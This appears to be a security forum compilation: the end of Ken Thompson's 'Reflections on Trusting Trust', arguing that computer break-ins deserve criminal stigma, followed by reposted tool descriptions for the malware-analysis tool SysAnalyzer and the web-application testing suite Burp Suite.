kids are vandalism at best and probably trespass and theft at worst. It is only the inadequacy of the criminal code that saves the hackers from very serious prosecution. The companies that are vulnerable to this activity (and most large companies are very vulnerable) are pressing hard to update the criminal code. Unauthorized access to computer systems is already a serious crime in a few states and is currently being addressed in many more state legislatures as well as Congress. There is an explosive situation brewing. On the one hand, the press, television, and movies make heroes of vandals by calling them whiz kids. On the other hand, the acts performed by these kids will soon be punishable by years in prison. I have watched kids testifying before Congress. It is clear that they are completely unaware of the seriousness of their acts. There is obviously a cultural gap. The act of breaking into a computer system has to have the same social stigma as breaking into a neighbor's house. It should not matter that the neighbor's door is unlocked. The press must learn that misguided use of a computer is no more amazing than drunk driving of an automobile. Acknowledgment I first read of the possibility of such a Trojan horse in an Air Force critique (4) of the security of an early implementation of Multics. I can- not find a more specific reference to this document. I would appreciate it if anyone who can supply this reference would let me know. References Bobrow, D.G., Burchfiel, J.D., Murphy, D.L., and Tomlinson, R.S. TENEX, a paged time-sharing system for the PDP-IO. Commun. ACM 15, 3 (Mar. 1972), 135-143. Kernighan, B.W., and Ritchie, D.M. The C Programming Language. Prentice-Hall, Englewood Cliffs, N.J., 1978. Ritchie, D.M., and Thompson, K. The UNIX time-sharing system. Commun. ACM 17, 7(July 1974), 365-375. 4. Unknown Air Force Document. Sursa: Reflections on Trusting Trust

SysAnalyzer [TABLE] [TR] [TH=bgcolor: #E6EBFF, align: left]Author: [/TH] [TD] David Zimmer (iDefense Labs) [/TD] [/TR] [TR] [TH=bgcolor: #E6EBFF, align: left] Website: [/TH] [TD=colspan: 2] RE Corner [/TD] [/TR] [TR] [TH=bgcolor: #E6EBFF, align: left] Current version: [/TH] [TD=colspan: 2] [/TD] [/TR] [TR] [TH=bgcolor: #E6EBFF, align: left] Last updated: [/TH] [TD=colspan: 2] March 21, 2011 [/TD] [/TR] [TR] [TH=bgcolor: #E6EBFF, align: left] Direct D/L link: [/TH] [TD=colspan: 2] http://sandsprite.com/CodeStuff/SysAnalyzer_Setup.exe[/TD] [/TR] [/TABLE] pdate: This tool is no longer available for download through the iDefense website. An updated installer has been made available by the author. SysAnalyzer is an automated malcode run time analysis application that monitors various aspects of system and process states. SysAnalyzer was designed to enable analysts to quickly build a comprehensive report as to the actions a binary takes on a system. SysAnalyzer can automatically monitor and compare: * Running Processes * Open Ports * Loaded Drivers * Injected Libraries * Key Registry Changes * APIs called by a target process * File Modifications * HTTP, IRC, and DNS traffic SysAnalyzer also comes with a ProcessAnalyzer tool which can perform the following tasks: * Create a memory dump of target process * parse memory dump for strings * parse strings output for exe, reg, and url references * scan memory dump for known exploit signatures Full GPL source for SysAnalyzer is included in the installation package. Download: http://sandsprite.com/CodeStuff/SysAnalyzer_Setup.exe Sursa: Category:Registry Monitoring Tools - Collaborative RCE Tool Library

Burp Suite [TABLE] [TR] [TH=bgcolor: #E6EBFF, align: left]Author: [/TH] [TD] PortSwigger [/TD] [/TR] [TR] [TH=bgcolor: #E6EBFF, align: left] Website: [/TH] [TD=colspan: 2] http://www.portswigger.net/suite/ [/TD] [/TR] [TR] [TH=bgcolor: #E6EBFF, align: left] Current version: [/TH] [TD=colspan: 2] 1.1 [/TD] [/TR] [TR] [TH=bgcolor: #E6EBFF, align: left] Last updated: [/TH] [TD=colspan: 2] [/TD] [/TR] [TR] [TH=bgcolor: #E6EBFF, align: left] Direct D/L link: [/TH] [TD=colspan: 2] http://portswigger.net/suite/download.html[/TD] [/TR] [/TABLE] Burp Suite is an integrated platform for attacking web applications. It contains all of the Burp tools with numerous interfaces between them designed to facilitate and speed up the process of attacking an application. All tools share the same robust framework for handling HTTP requests, authentication, downstream proxies, logging, alerting and extensibility. Burp Suite allows you to combine manual and automated techniques to enumerate, analyse, attack and exploit web applications. The various Burp tools work together effectively to share information and allow findings identified within one tool to form the basis of an attack using another. Key features unique to Burp Suite include: * Ability to "passively" spider an application in a non-intrusive manner, with all requests originating from the user's browser. * One-click transfer of interesting requests between tools, e.g. from the Burp Proxy request history, or the Burp Spider results tree. * Detailed analysis and rendering of requests and responses. * Extensibility via the IBurpExtender interface, which allows third-party code to extend the functionality of Burp Suite. Data processed by one tool can be used in arbitrary ways to affect the behaviour and results of other tools. * Centrally configured settings for downstream proxies, web and proxy authentication, and logging. * Tools can run in a single tabbed window, or be detached in individual windows. * All tool and suite configuration is optionally persistent across program loads. * Runs in both Linux and Windows. New features in version 1.1 include: * Improved analysis of HTTP requests and responses wherever they appear, with browser-quality HTML and media rendering. * Burp Sequencer, a new tool for analysing session token randomness. * Burp Decoder, a new tool for performing manual and intelligent decoding and encoding of application data. * Burp Comparer, a new utility for performing a visual diff of any two data items. * Support for custom client and server SSL certificates. * Ability to follow 3xx redirects in Burp Intruder and Repeater attacks. * Improved interception and match-and-replace rules in Burp Proxy. * A "lean mode", for users who prefer less functionality and a smaller resource footprint. Burp Suite is a Java application, and runs on any platform for which a Java Runtime Environment is available. It requires version 1.5 or later. The JRE can be obtained for free from java.sun.com. Download: http://www.portswigger.net/burp/downloadfree.html Sursa: Download Burp Suite